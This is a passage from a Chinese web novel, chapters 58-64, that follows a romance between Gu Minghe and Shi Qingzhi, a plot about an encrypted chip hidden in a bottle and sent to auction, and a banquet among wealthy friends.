顾鸣鹤没有着急从会议室离开,而是单独坐了一会。 窗外夜色如墨,暴雨从下午就开始了,一直到现在也没有停歇的意思。 雨落在窗上,形成了雨幕,一整张一整张的挂下来。 往外看去,所有的大厦几乎都是灯火通明。 顾鸣鹤拿出手机,界面上除了几个金融新闻外就没有别的消息了。 他不由自主的点开了和时清徵的聊天框,最底下的消息还停留在时清徵那张萌哒哒的小猫表情包上。 台风过境,风雨交加,正如昨天电台里的气象报道中所说的。 顾鸣鹤想了想,还是给时清徵发了条消息,说他今晚不回去了。 时清徵回复地很快。 就在顾鸣鹤准备把手机放下时,时清徵的一条消息又弹了出来。 【你洗了蒜了:先生现在有空吗?】 顾鸣鹤仅仅只犹豫了半秒。 【顾鸣鹤:有空。】 下一秒视频通话就拨了过来。 那边的时清徵似乎是刚洗完澡,此时正坐在床上。 他的发尾湿漉漉的,皮肤透着被热水蒸出来的红晕。 睡衣最上端的两颗纽扣被他解开,露出精致的锁骨。 再往下就看不见了。 “先生你这是在哪呢?”时清徵毫不在意,笑眯眯地问顾鸣鹤。 “我在会议室。” “这么晚还要开会啊,先生真辛苦。”时清徵感慨了一句。 顾鸣鹤没有否认,只是问了句:“怎么想起给我打电话了,是有什么事吗?” 时清徵换了一只手拿手机,画面晃了晃。 “还不是怕先生又说我不敬业,我这不是来关心你了吗?” 第59章 晚安 顾鸣鹤听到他这句话,不知道想到什么,笑了出来。 桃花眸本就自带多情缱绻。 顾鸣鹤内心的悸动给他的笑增加了几分难以言说的气质。 总之很让时清徵很是心痒。 “你笑什么?” 时清徵问出这句的时候,自己也忍不住笑了。 两人隔着屏幕不知道在笑什么,像傻子一样。 “怎么不把头发吹干?” 时清徵摇头:“我不着急睡,等会它自己就干了。” “不行,会感冒的,去吹干。”顾鸣鹤表情严肃了一下。 时清徵看着他认真的表情,心中不由自主地触动了一下。 “好,我等会去。” 似乎怕顾鸣鹤再催,他补充了一句:“等我先打完电话。” 顾鸣鹤一副没得商量的模样:“打电话不急,去吹头发,我等你。” 时清徵也就听他的了。 把手机往床上一放,就离开去吹头发了。 时清徵并没有站的离手机很远,但吹风机是静音的,风声很轻,顾鸣鹤要很认真才能听得到一点动静。 时清徵的手机摄像头朝上,正对着天花板。 顾鸣鹤这才看出点异常来。 这里不是他的房间。 时清徵在半山庄园是有自己的房间的,不过他们几乎每天都睡一块,所以那个房间也就是个形式。 顾鸣鹤在时清徵吹头发的空隙,已经回到了办公室。 其实关于城西那块地皮的竞标天和集团已经准备的差不多了。 只是还有些小问题需要精进,相关部门人员在加班,顾鸣鹤也打算跟着。 时清徵回来时,顾鸣鹤正在看报表。 手机竖放着,不知道靠着什么,这个角度正好能自下而上看见顾鸣鹤的脸。 不得不说这张脸真是抗造,这种死亡角度也是帅得惊人。 时清徵没有出声,就默默看着手机里处理工作的顾总。 工作时的顾鸣鹤总有一种平日里没有的气质,很认真严谨。 时清徵忽然生出了些岁月静好之感。 两人谁都没说话,视频就一直挂在那。 顾鸣鹤处理完手中的那几份文件,才忽然想起视频还挂在那,有些抱歉地抬眼。 正好对上时清徵的视线,隔着屏幕相撞,是有温度的触碰。 顾鸣鹤眼神颤了颤。 他刚才一直都在看自己吗? 时清徵原本正看着顾鸣鹤的脸发呆,那一个眼神对过来时瞬间回神。 只觉得屏幕对面那人的神情纵容至极,透着的温柔快要吻了过来。 时清徵忍不住舔唇。 然后手指慢慢伸过去,情不自禁地截了个屏。 等他意识到自己做了什么后,又有些心虚。 “怎么在这睡?” 时清徵知道顾鸣鹤是指他为什么不在主卧睡。 “一个人不太习惯太大的房间。” 的确是这样,但也不全是。 以前在主卧时都是有顾鸣鹤陪着他的,忽然只剩下一个人了。 时清徵内心是有点儿不适应的。 两人没聊几句,一个忙着看手中的合同书,一个认真看人。 过了十几分钟,顾鸣鹤看见手机电量,有些抱歉地笑了下:“早点休息吧。” 时清徵不解:“才九点。” “我手机快没电了。” 顾鸣鹤昨晚就忘记充电了,今天出去上班时电量已经没剩多少。 一直忙着,也忘记充电了。 现在看着泛红的电量,他还有些懊悔。 “啊?那......好吧。” 时清徵有一些失落,但是也就一点。 不过仅仅是一点的失落情绪还是很明显地出现在他脸上。 顾鸣鹤想了一下,转过身去抽屉里翻充电器。 然后就充着电打视频。 只是再摆放手机时手机滑倒了好几次。 时清徵这才看清手机原先是靠着一摞文件边上的。 顾鸣鹤好不容易只能横放着手机,心中却是想着明天就弄个支架过来。 以前毕竟没这需求,没考虑过。 视频不用挂断了,时清徵还是很满意的。 他侧躺着看着手机屏幕中的人,只觉得安稳。 情不自禁又截了几张图。 真的只是情不自禁而已....... 时清徵躺在床上,把手机高举在脸上。 要是他一个手抖,会被手机砸脸,很痛的那一种。 他也不知道自己是怎么想的,只觉得看见这人忽然有点心安。 惊觉自己冒出了这个念头,时清徵自嘲地笑了笑。 果然安逸的生活最容易磨去一个人的锋芒。 尤其是时清徵这种常年走在腥风血雨中的人。 可是时清徵却并不打算回避这种感觉。 没有一个人想永远提心吊胆的活一辈子,他也不例外。 等京城这边一切都处理完,时清徵觉得自己可能会去世界各地玩一玩。 也可能找个安静的地方住很长一段时间。 时清徵莫名想的有些远。 如果能带上顾鸣鹤就好了,他喜欢那张脸。 如果带不走时清徵觉得自己在这多留几个月也行,他不是喜欢用强硬手段逼迫别人的人。 他不是喜欢用强硬手段逼迫别人的人....... 虽然不知道时清徵是怎么自我审视,然后得出这个结论的,但是要是让他曾经的那些仇敌知道时清徵对自己的评价,怕是会从土里,海里蹦出来,然后破口大骂。 你好意思吗??! “顾总。”李特助敲了敲门。 顾鸣鹤下意识就看向手机,屏幕是一片黑了,有些手机照出来的模糊光影。 不是关机,是对面关灯了。 时清徵睡了? 李特助很有眼力地注意到撑在文件堆边的手机,下意识也放轻了声音。 他没有再说话,而是把文件递给顾鸣鹤。 这里面是相关部门刚修改的最新版本,顾鸣鹤一看就会知道。 顾鸣鹤翻看一遍后,然后点头示意可以了。 李特助轻手轻脚地退了出去,站在外面还有一些不可置信。 顾总是在打视频吗?和谁啊? 但他没有多想,而是摇摇头准备下班了。 哎~他的头发又要掉了。 难受,他年纪轻轻就要面临秃顶的烦恼了吗?不要啊! 他还没结婚呢,他还想凭借这张帅脸讨媳妇呢。 李特助一边摸头一边思索着要不要买一些保健品。 顾鸣鹤看着对面一片黑色,已经没有动静了。 他很轻地说了一句。 “晚安,时小徵。” 声音轻到他自己都没有听见,好像只是在对口型。 随后挂断了视频。 对面的时清徵是睡着了,只是在李特助说话时清醒了过来。 他耳力不错,听见了顾鸣鹤的那句晚安。 脸埋在被子下,他很轻地勾了下唇。 时小徵吗?也行吧。 “晚安,顾鸣鹤。” 可能说出来了,也可能是时清徵在脑子里说的。 不过对面那人是听不见了。 第60章 感同身受了 时清徵简单知会江南月一声后就带着刚到京城的研究小组去了她的那幢别墅。 别墅地下室内,几个身穿便装的工作人员正拿着高灵敏度的扫描探头对瓶身进行了从内到外的全息扫描与成分分析。 用探针伸入瓶口,在瓶口内壁一层层打磨。 里面是一个芯片,只有半个指甲盖这么大。 整套严谨而复杂的检测流程,无声地消耗了近一个小时。 工作人员拿着整理好的数据资料走到时清徵面前。 时清徵正用电脑尝试破解这个芯片。 不过芯片进行过特殊加密,这种级别的加密已经不是普通计算机可以承受运行的了。 饶是时清徵从盟洲带来的那台不可能支撑数据密码的运行。 “先生,瓶体的完整分析报告和数据已整理完毕。”一名工作人员恭敬地将电子数据板递到时清徵手中。 时清徵先暂停了手中的工作,伸手接过工作人员整理好的数据分析。 这上面的数据分析不仅把这个瓶子可能产自于哪年,以及什么材质给摸的一清二楚。 而且还通过这个瓶子的工艺推断出了他可能出自于哪个地方。 不过这些资料时清徵让WWZ联盟的人已经查清楚了。 所以在这些资料里面最重要的其实是在瓶子上提取出来的生物信息样本。 “把这些生物信息样本,立刻上传到世界DNA信息数据库进行交叉比对,查查都有谁碰过它。” “是。” 虽然这么说,但时清徵并不指望真的能从数据库里查出是谁来。 毕竟这些数据库在国际上并不是合法合规的,所以里面能收集到的DNA数据十分有限。 但是还是得查一查,万一呢? 这个芯片时清徵原本是打算让这群研究人员带回东南群岛研究总部进行破译。 不过时清徵想了想还是觉得有些不放心。 到时候寻个时间亲自去一趟吧。 正好接几个东南群岛的任务,刷点积分,不然又得挨昏鸦唠叨了。 时清徵想着,觉得头都大了。 这一个科研小组来到A国并不仅仅只是替时清徵进行特定物品检测,还是作为交流人员与当地一个研究所进行科研项目合作。 具体什么科研项目时清徵不知道,太专业了他也听不懂。 所以一行人在解决完这个瓶子后就离开了。 不过时清徵觉得自己出门没看黄历。 刚走出别墅就和站在别墅外东张西望的靳云封大眼瞪小眼。 “你......你怎么还在这?!” 靳云封一副做贼心虚的模样,不知道的还以为他进江南月家偷东西了呢。 时清徵还没说话,后面几个工作人员就拎着设备走了出来。 为首的人道:“先生,既然没事我们就先走了,您要是有什么需要再联系我们。” 时清徵微微颔首。 靳云封看着从别墅里走出乌泱泱的一群人,眼睛瞪得更大了。 “不是,你......你,这??” 不是,这到底是谁家啊? 这真的不是私闯民宅吗? 为首的工作人员看见靳云封先是一愣,然后目光望向时清徵。 时清徵微微垂了下眸,垂在身侧的手很不经意地做了个手势。 工作人员心领神会,大声对时清徵解释: “先生,设备我们已经修理好了,若是后续再出现什么问题您再联系我们公司,我们会派专业人员前来修理的。” “麻烦先生给我们的售后服务点个五星哟。” 这一套话术下来把原本就很蒙的靳云封整地更是云里雾里了。 “修东西的?” 时清徵扫了他一眼:“不然呢?” 他觉得江南月买的这个房子风水不好,怎么老是出门碰到麻烦事呢。 见时清徵又要走,靳云封几步跟了上去。 “你和我表姐究竟是什么关系啊,你悄悄告诉我,我保证不跟顾哥说。” 靳云封一脸信誓旦旦,拍着胸脯保证。 时清徵眼珠转了转:“你想知道啊?” “嗯。”靳云封很认识的点头。 然后一脸期待的看着时清徵。 时清徵似乎是在认真的考虑,然后慎重其事道:“委托人的关系。” “委托人?” 时清徵一脸认真:“对啊。” “江南月,不是,我表姐她需要委托你?”靳云封满脸写着不相信。 不是他看不起时清徵,就时清徵这身份,那是干啥啥不行啊。 江南月堂堂江氏集团董事长,能委托这人什么事? “江南月,也就是你表姐先前在境外买了一台电器,但是被人坑了,那电器质量很差,而且国内没有能修的,就委托我当中间人请了一批东南群岛的修理工。” “那.....那你和我表姐是怎么认识的?” 靳云封表情有些恍恍惚惚,已经快被忽悠瘸了。 时清徵想到什么,叹了口气道:“这件事还要从王者峡谷说起。” “嗯......嗯?!” 靳云封迅速抬头:“什么?” 时清徵则是面不改色,跟他讲述了一段无耻打野单吃他一波下路兵线的卑鄙行径。 然后射手与打野展开了世纪语言大赛友好PK。 两人就这么认识了。 虽然靳云封有点不想相信。 但是当他听到时清徵说江南月在峡谷的“恶毒”行径后又她的操作着实熟悉。 跟先前在江老爷子宴会上的行为有的一拼。 于是他迷迷糊糊地点头。 “原来如此。” 最后,时清徵拍了拍靳云封肩膀,笑得和蔼可亲:“所以啊,你以后离她远点,会单吃别人兵线的能是什么好人。” 靳云封现在人有点麻了,他一句话也说不出来,只能下意识跟着点头。 他先入为主,看着时清徵那张无辜的面孔,本能的觉得他不是在骗人。 直到人走的很远了他才回过神来。 然后迷迷瞪瞪地掏出手机给顾鸣鹤发了条信息。 【疯了:我觉得我先前应该是误会你那个小情人了,他和江南月没关系,他是个好人。】 【疯了:他被单吃一波兵线,还被追着骂,好惨。】 靳云封在时清徵的忽悠下,觉得时清徵被单吃一波兵线十分可怜。 在时清徵的故事里,他弱小而无助,拼命发育,结果还要被打野压力,被追着骂了一整局。 对方简直是惨绝人寰。 尤其是靳云封还见过江南月的凶残,就更觉得时清徵可怜了。 今天,他与时清徵感同身受了。 第61章 契瓶01 顾鸣鹤很久以后才看到靳云封发的这两条消息,一脸问号。 【顾鸣鹤:你又去找他麻烦了?】 对面反应半天都没反应过来的靳云封终于品出些许不对劲儿了。 恰巧此时又看到顾鸣鹤发来的信息。 瞬间变身窦娥。 【疯了:谁去找他麻烦了,那是我家!】 他在自己家附近溜达溜达还不行了? 【疯了:你以为我那么闲啊。】 靳云封成日里忙着花天酒地,不是在这个会所就是在那个俱乐部,真没空和一个小情人过不去。 【顾鸣鹤:没有最好。】 靳云封原本想说时清徵和江南月在峡谷的恩怨仇来着。 忽然从顾鸣鹤的态度中琢磨出点不对劲来。 【疯了:我说你,你怎么?嗯?】 顾鸣鹤没搭理他。 【疯了:装瞎是吧,说,你是不是被鬼上身了?居然为了一个小情人来质疑跟你穿一条裤子的兄弟!】 【疯了:你这个见色忘友的坏人~嘤嘤嘤......】 【顾鸣鹤:首先,他不叫小情人,他叫时清徵。】 【顾鸣鹤:其次,谁跟你穿一条裤子,我怕你尿我裤子里。】 他指的是靳云封上一年级还尿裤子的那件事。 对于这个黑历史,靳云封可以说是提一次炸一次。 这次也不例外。 【疯了:来,互扇吧。】 【疯了:真的没爱了,请善待二旬老人。】 【顾鸣鹤:那你报警吧。】 【疯了:.......我星星你个大星星......】 时清徵将芯片带回,在灯下细细端详了许久。 虽然其中信息尚未可知,但他心底隐约有个猜测。 这芯片或许与其他几个“契瓶”密切相关。 这些瓶子本是特殊信物,为区分方便,时清徵暂且称手中这个为“契瓶01”。 一周后,DNA比对结果送达。 不出所料,数据库里查无此人。 得知这个消息时清徵眉峰都未动一下,这本就在他意料之中。 若真能轻易查出,反倒奇怪了。 契瓶本身对他而言,价值已然耗尽。 于是,他决定把契瓶给卖了。 毕竟虽然他不需要,但是瓶子的原主肯定很着急。 那他就发发善心,让这瓶子物归原主吧。 于是时清徵让人将其送去京城乾元拍卖所上拍。 他倒要看看幽灵组织能不能丢起这个脸。 自家信物被拿去拍卖,呵呵。 其他人也许不会清楚内幕,但是业内人员肯定会知道,到时候幽灵组织可算是颜面扫地了。 乾元拍卖所的鉴定室内。 资深鉴定师捏着放大镜,对着那灰扑扑的瓶子反复端详,眉头拧成了疙瘩。 他的嘴角忍不住向下撇了撇,露出一副极力克制却难掩嫌弃的神情。 若不是送拍者身份特殊,财力雄厚且是业界大佬,拍卖所得卖面子。 准确来说就是钞能力。 不然这种货色,他们断然不会上拍。 鉴定师放下瓶子,推了推眼镜,语气带着明显的迟疑和困惑: “这位先生,您确定要拍卖这件....嗯....艺术品?” 他实在难以将这平平无奇,毫无美感可言的现代制品称为古董。 送拍来的代理人只清楚一点这个瓶子的底细,心中都有些麻了。 但是面上却不动声色。 他想到上面的指令,硬着头皮点头承认:“对。安排在秋拍,提前放出消息预热。” “预热?放消息?” 鉴定师差点没绷住表情。 让全京城都知道乾元秋拍要推这么个.....宝贝?脸面还要不要了? 但他还是职业性地维持了平静:“好的,明白了。” 谁让这是大老板朋友的交代呢? 他只得苦着脸,小心翼翼地把瓶子收走。 也许是我不懂艺术?万一有藏家就好这口呢? 他只能如此安慰自己。 乾元拍卖所是京城举足轻重的拍卖行。 其中小型拍卖会每隔半个月一次。 而其大型春拍,秋拍每半年一次,拍品包括但不限于大型不动产,企业股权,稀世珍品等。 秋拍,春拍向来是京城上流圈层的瞩目焦点。 此次秋拍,在琳琅满目的公开拍品名录中,悄然混入了一件描述极其简单、甚至显得有些突兀的“现代陶瓷瓶”。 普通人或许一扫而过,但“心里有鬼”的人,一眼便能认出它。 江晓崖便是其中之一。 他早知道信物被江南月强行夺走。 那天她带人闯入江晓崖书房“清理”,说是要扫扫晦气。 大扫除的结果就是他书房里的东西丢的丢,丢的丢,丢的丢。 书架上那个不起眼的也被江南月拿走了。 他当时为免打草惊蛇,隐忍未发,本想事后交涉,岂料江南月竟避而不见,如今更不知所踪。 这信物是代“上面”保管的,如今丢了....... 就在他焦头烂额之际,电话铃声尖锐响起。 江晓崖一个激灵,手忙脚乱地接起。 “丢了信物,还敢瞒着不报?!蠢货!”电话那头的声音冰冷,带着压抑不住的怒火。 “顾,顾二爷!您听我解释,我.......”江晓崖声音发颤。 “够了!”顾砚川粗暴地打断,没兴趣听废话。 “瓶子必须拿回来!不计代价,听懂了吗?” “是!我一定尽力!”江晓崖连忙应承,心却在滴血。 江家如今他话语权本就不多,名下几家分公司更是深陷资金链断裂的泥潭,根本无力竞拍。 他硬着头皮,声音发虚:“顾二爷,我这边资金.....周转实在困难,您看能不能.......” 听筒里传来顾砚川一声轻蔑的冷哼:“废物!” 若非江晓崖还掌握着东南群岛到赤洲的某条货运线,他连这通电话都懒得打。 当初将信物暂存江处,本就是总部要求回收,还没来得及转运就丢了,难怪连江家都守不住! 其实这瓶子本身无关紧要,紧要的是里面的芯片。 此事外人不知,连江晓崖都被蒙在鼓里。 唯有顾砚川及其他四位信物持有者清楚,每个芯片里分别封存着当年那项实验的不同核心数据。 总部此次召回,恐怕是起了正式重启实验的念头。 第62章 宋燕回 竞标的结果很快就出来了。 天和集团以摧枯拉朽之势,凭借令人咋舌的雄厚财力与在业界的绝对话语权,毫无悬念地将城西那块黄金地皮商业开发权收入囊中。 消息一出,几家欢喜几家愁。 落败的几个家族依旧在表面维持着体面的祝贺。 短暂的沉寂后,各家掌舵人纷纷启动背后的联络网,或明或暗地向天和集团递出橄榄枝。 他们的目标很明确,那就是从这块巨大的蛋糕上,切下属于自己的一块。 毕竟这么大一个项目,其背后所要的资金和产业链是不容小觑的。 虽然吃不到最大的那块肉,但是怎么也能跟着喝口汤。 宋燕归的电话适时响起,语调带着一贯的圆滑与恰到好处的热情: “行啊鸣鹤,这都被你稳稳拿下了!漂亮!” 他话锋一转,发出邀请:“今晚兰庭,我做东,给你庆功,务必赏光。” 顾鸣鹤握着手机,不动声色地询问了参与名单,听到只有那几个核心家族的代表时,心中了然。 “好,准时到。”他爽快应下。 城西这块蛋糕实在太诱人,大到足以重塑未来几年的商业格局。 没有人能真正无动于衷。 至于能分到多少?怎么分?最终还是要靠各自的筹码和手段来拼。 临出发前,顾鸣鹤看向时清徵,随口问道:“兰庭有个小局,宋燕归组的,说是给我庆功,都是那几家的人。要不要一起去坐坐?” 时清徵抬头用手点了点自己,眉梢微挑,似乎有些意外。 他沉吟了不过两三秒:“好啊。” 兰庭是宋家产业,一处建在山上的私人酒庄。 这次就是私人酒局,来的人不多,宋燕归作为主人坐在首位。 他的左手边是空着的,右手边第一个男人时清徵不认识,长得有些俊秀。 戴着金丝眼镜,看起来很儒雅。 时清徵的目光在那个温柔男子下首的那个男子身上停了一瞬。 不过也就仅仅一瞬,没有人注意到。 那个男人....... 顾鸣鹤今天的袖扣是时清徵亲自为他挑的,他说很好看。 于是礼尚往来,也给时清徵挑了一个。 两人袖扣的款型有点类似,但是如果不仔细看是发现不了的。 宋燕归看见顾鸣鹤,招呼着时清徵让人坐过去。 顾鸣鹤点头,然后很自然的牵起时清徵的手,把他一起带了过去。 沈以煜推了推鼻梁上的金丝眼镜,镜片后的目光带着好奇与一丝玩味,唇角噙着惯常的笑意望向顾鸣鹤: “顾哥,这位是......?” 作为同在【京城四剑客】群里的成员,他当然清楚时清徵是谁。 此刻故意发问,不过是想看看顾鸣鹤的态度。 顾鸣鹤闻声,侧过身,目光自然地落在身旁的时清徵身上。 那眼神并非审视,更像是一种无声的确认或介绍前的短暂停顿。 他没有使用任何带有附属意味或轻佻的词汇,声音沉稳清晰: “时清徵。” 顾鸣鹤先清晰地念出他的名字,随即,他的视线并未立刻移开时清徵,而是补充了一句: “他是我的人,你们可别欺负他。” 顾鸣鹤话音落下,包间内瞬间陷入一种微妙的凝滞。 在座的几位都是与顾鸣鹤从小一起招猫逗狗过来的发小,对他的性子再清楚不过。 看起来随和,实际上骨子里却是疏离淡漠的。 宋燕归反应最快,眼底精光一闪,面上已堆起熟稔的笑意,仿佛刚才那片刻的惊诧从未发生。 他转向时清徵,语气热络:“清徵啊。” 他很自然地唤着名字,好像之前闹过不愉快的不是他们俩一样。 “真是好久不见你了。鸣鹤这家伙也真是的,把你藏得这么严实,都不带出来跟我们聚聚。” 顾鸣鹤都定了调子,其他人自然心领神会,原本可能存在的几分轻慢或探究也迅速收敛起来。 然而,宋燕归那声过于亲昵的“清徵”出口,顾鸣鹤的眉头便蹙了起来。 “叫什么清徵?他跟你很熟吗?” 顾鸣鹤说着,抬眼直勾勾地看了过去。 “鸣鹤,你这可就太没意思了吧?一个称呼而已.......” 但最后还是妥协: “好好好!我的错,时少!时少行了吧?” 他刻意加重了“时少”二字,带着点调侃的意味看向顾鸣鹤: “一个称呼而已,鸣鹤,你这也未免太.......小气了点吧?” “我一直这样,你又不是第一天知道了。”顾鸣鹤笑眯眯的,又变成了一副好说话的样子。 人到齐后,服务生鱼贯而入,开始安静地上菜。 今晚宴席主打的是精致婉约的江南风味,菜品清淡雅致,与京城惯有的浓油赤酱形成鲜明对比。 这倒也符合这兰庭的格调。 顾鸣鹤姿态闲适,不管是私下还是工作中他都不是那种高不可攀的性格。 他的目光停在坐在沈以煜身旁那位一直沉默的年轻男人身上。 顾鸣鹤唇角噙着笑意,声音不高不低,恰好能让对方听清:“宋二,什么时候悄没声儿地回来了?也不提前知会一声,好给你接风。” 他语气熟稔,带着兄长般的关切。 被点名的正是宋燕归的亲弟弟,宋燕回。 兄弟俩虽只差一岁,气质却截然不同。 宋燕归是精于世故的圆融,宋燕回则如同出鞘的利刃。 他的五官硬朗而深邃,眉宇间凝着一股生人勿近的冷峻,是极具冲击力的俊朗。 宋燕回显然不是热衷交际的类型,直到顾鸣鹤问起,才抬起眼,言简意赅地回应: “前几天刚回来。” 说话间,他那双眸子状似无意地扫过顾鸣鹤身侧的时清徵,目光短暂停留了一瞬。 而时清徵只是微微垂着眼睫,专注地看着面前的汤羹,仿佛周遭的一切都与他无关,似乎没接收到那束目光。 顾鸣鹤将宋燕回的反应看在眼里,面上笑容不变,顺势调侃道:“你在国外倒是逍遥自在,可把你哥累得够呛。燕归这段时间可是连轴转。” 宋燕回神色未动,只淡淡回了一句:“我对那些,没兴趣。” 语气平淡,却清晰地划清了自己的界限,家族生意,非他所愿涉足。 顾鸣鹤闻言,朗笑一声,举杯示意,将话题轻轻带开,与邻座的沈以煜聊起另一桩无关紧要的趣闻。 顾鸣鹤能走到今天这一步,除了他的经商能力和家世背景,还依靠那八面玲珑的心思。 这也是他在京城圈层中如鱼得水的依仗之一。 第63章 很美丽的精神状态 靳云封挨着宋燕回坐,简直像只停不下来的小麻雀,嘴巴就没个把门的,嘚啵嘚啵说个不停。 奈何他身边的宋二少爷真的是一座人形冰山。 宋燕回全程惜字如金,任靳云封如何唾沫横飞,回应他的永远只有单音节三件套:“嗯”、“啊”、“哦”。 甚至连眼皮都懒得抬一下。 那架势比高冷霸总还高冷霸总。 靳云封被这极致敷衍整得彻底没脾气了,内心疯狂吐槽: 好家伙,出国镀了几年金,把母语语法都镀没了?就剩这几个语气助词了是吧? 热脸贴了冷屁股,靳云封只好扭过头去骚扰另一边的沈以煜。 可沈医生是什么人?那是行走的医学百科,满脑子装的都是前沿研究和疑难杂症。 靳云封那点声色犬马的“京城轶事”,在沈以煜听来如同天书。 没说两句,话题就被沈医生无情带偏,一路狂奔到基因编辑,靶向治疗这种让靳云封这种人听得两眼发直,思想直接升到了怀疑人生的高度。 来自学霸的降维打击让靳云封深刻认识到找沈以煜聊天,纯粹是自取其辱! 他错了,他真的错了。 百无聊赖之下,靳云封那颗不甘寂寞的脑袋又转了回来,目光精准锁定顾鸣鹤身边那位一直安静吃饭的人——时清徵。 “嘿,时清徵!”靳云封瞬间满血复活,他这人天生自来熟,跟路边的电线杆子都能唠上两句,找话题那是信手拈来。 “听说你以前在东南群岛混过?那边......治安咋样啊?” 他试图找个接地气的切入点。 时清徵慢条斯理地放下筷子,抬眼看向靳云封,那双漂亮的眸子里掠过一丝近乎纯良的疑惑。 虽然语气平淡却带着点石破天惊的效果: “治安?” 他微微歪了下头,仿佛在思考一个极其陌生的概念,随即唇角勾起一抹近乎嘲弄的弧度。 “哦,你说的是.......那种需要警察局和监狱才能维持的东西?那边有这个词吗?” 靳云封:“....... ” 他被这反问噎得差点翻白眼。 行,算那个地方狠! “.......咳,倒也是哈。” 靳云封干笑两声,硬着头皮继续找补。 “那......你在那儿待那么久,总有点啥印象深刻的事儿吧?比如........特别的风景?或者刺激的经历?” 他努力把话题往安全地带引。 时清徵似乎真的在认真回想。 片刻后,他抬眼:“印象深刻?有啊。警署大门口的花坛里种着一片罂粟花,算不算?” 靳云封:“...........” 他彻底闭嘴了。 得,这位的“深刻印象”,比沈医生的医学论文还特么硬核,这话题没法聊了! 然而此时一直沉默的宋燕回却忽然开口。 “你以前住在东南群岛?” 东南群岛靠近A国,虽然没有直接跟A国接壤,却很靠近东半岛。 东半岛可谓是罪恶之源了,东南群岛也是深得真传,有过之而无不及。 这两个地区统称为“东南片区”,可谓是臭名昭彰。 这地和A国不说天差地别,也隔了一个银河系的差距了。 时清徵轻轻的看了过去,然后点头。 “对,怎么了?” “没什么。”宋燕回收回视线。 靳云封:....... 莫名其妙。 饭后,一行人移步茶厅。 侍应生端着茶具和甜点悄然布上。 顾鸣鹤与宋燕归依旧沉浸在公事话题中,语声低沉,浑然不觉旁人的倦色。 沈以煜闲适地靠在椅背,目光早已投向别处,一副置身事外的模样。 一旁的靳云封,则是一听到那些生意经便眉头紧锁,显是头大不已。 他索性伸手拈起盘中一块糕点,默默吃起来,权当充耳不闻。 时清徵有些倦怠,面前那盘茶点他一口都没动。 宋燕回则是低头看手机。 明明人很多,但有种人很少的感觉。 顾鸣鹤也停下话头,喝了口茶。 “那就这样说定了。”宋燕归笑得意味深长,手中握着茶杯,往前示意了一下。 顾鸣鹤点头:“嗯。” 总归这些核心项目是在要他们这几个家族的分的,多少的问题罢了。 顾鸣鹤这才低声问时清徵:“不合胃口?” “不是,不想吃太多。” 顾鸣鹤不知道想到了什么,笑容漫起:“这样也好。” 时清徵垂眸,视线落在顾鸣鹤袖口那枚低调奢华的袖扣上,那是他今天被迫“精心”挑选的玩意儿。 顾鸣鹤敏锐地捕捉到他的目光,得意地抬高手腕。 他眉梢一扬,笑得像只偷腥成功的猫: “啧,品味不错。” 语气里是毫不掩饰的炫耀。 时清徵条件反射,温顺应声:“谢谢顾总夸奖。” 话一出口,他就想咬自己舌头。 下一秒,顾大总裁果然顺杆爬,理所当然地追加任务: “嗯,以后我的日常搭配,就都交给你负责了。” 时清徵:…… 撤回!立刻撤回那个该死的“谢谢”。 谁要给你当免费造型师?! 面上,时清徵却只是几不可察地顿了一下,随即敷衍地点点头。 顾鸣鹤和时清徵脑袋不自觉地就凑得就很近,两人说话声不大,像是在说悄悄话。 顾鸣鹤不知道说了什么,惹得时清徵笑了好一会。 看两人亲亲蜜蜜的样子,靳云封很嫌弃地移开眼。 切~ 沈以煜看着这一幕则是若有所思,目光在两人身上流连片刻,然后很自然地走过去加时清徵联系方式。 他那儿还有几张有意思的聊天记录截屏呢。 这么想着,沈以煜眼中划过一丝幸灾乐祸,看了顾鸣鹤一眼。 顾鸣鹤不明所以,自然也不知道自己现在任由二人加好友给未来的自己制造了一个小麻烦。 靳云封也看热闹不嫌事大,也拿着手机挤了过去。 随即他看着时清徵的蒜头表情啧了声。 你洗了蒜了? 很美丽的精神状态,难怪能入顾哥的眼! 第64章 哪次暖床不是他求着要伺候 加完好友的第一秒,靳云封就火速干了一件大事——火速点开时清徵的朋友圈! 指尖刷刷刷往下划拉。 结果…… 一片荒芜。 连条系统自带的“朋友仅展示三天”的灰线都没有。 靳云封那颗叱咤风云的心,咯噔一下。 难道.......我被屏蔽了?! 这个念头刚冒出来,就被他强大的自信狠狠摁了回去。 不可能!绝对不可能!他靳云封,人见人爱花见花开,朋友圈点赞王,社交天花板。 时清徵怎么可能屏蔽他? 为了验证这个“荒谬”的猜想,靳云封猛地一歪身子,几乎半个重量都压在了沈以煜肩上,长臂一伸,目标精准。 抢过沈以煜的手机。 主要是时清徵身边坐着顾鸣鹤,他不敢抢时清徵手机。 靳云封熟练地点开时清徵的头像,进入......朋友圈...... 同样的一片空白。 干净得能反光。 哈! 原来不是屏蔽啊,是时清徵自己活得像个山顶洞人。 巨大的喜悦和“果然如此”的得意瞬间冲昏了他的头脑。 靳云封把手机塞回还有些愣怔的沈以煜手里,嘴角抑制不住地疯狂上扬,露出一个迷之自信爆棚的得意笑容: 他就说嘛,像他这么受欢迎的人,怎么可能被屏蔽呢。 顾鸣鹤与时清徵原本打算直接离开,但是宋燕归却叫住了顾鸣鹤。 “都这么晚了,不如住在这?” 顾鸣鹤搂着时清徵的腰身,揽紧了些:“不用,他在别处睡不惯。” “怎么会睡不习惯呢,屋里可有我给你们准备的礼物,就当是之前的赔罪。” 宋燕归笑着走过来,贴在顾鸣鹤耳边说了什么。 顾鸣鹤看了时清徵一眼。 时清徵眼观鼻鼻观心。 宋燕归看着顾鸣鹤的眼神,笑得揶揄:“不会吧,顾总不会上个床还得征求时少同意吧?” 顾鸣鹤想都没想开口回道:“怎么可能?” 为了增强可信性,不在兄弟们面前丢了面子,顾鸣鹤将时清徵往自己这边揽了些。 “不信你问问他,哪次暖床不是他求着要伺候?” 众人的目光都望向时清徵。 时清徵只觉得腰间被某人的手指暗示般急切地点了点。 于是点头表示认同。 顾鸣鹤瞬间爽了,嘴角弧度怎么遮都遮不住。 “不愧是顾哥。”靳云封很给面子地吹捧道。 沈以煜则是笑得意味深长,一副看透什么的表情,拱火道:“那清徵看来以后得小心伺候着顾大少爷了,要是哪天他腻了你.......” 话音未落直接被顾鸣鹤截住了话头:“腻了?呵,看他表现。” 此话一出,不只是沈以煜笑了,就连宋燕归也忍不住将脸错了过去。 没眼看。 唯有靳云封一脸佩服地望着顾鸣鹤,不愧是顾哥啊,当真是调教有方。 看着沈以煜几人的神色,顾鸣鹤此地无银三百两道: “你们TM笑什么?” 本来就有点心虚的顾大总裁音量不由提高了些。 “没什么,你们快上去吧。” 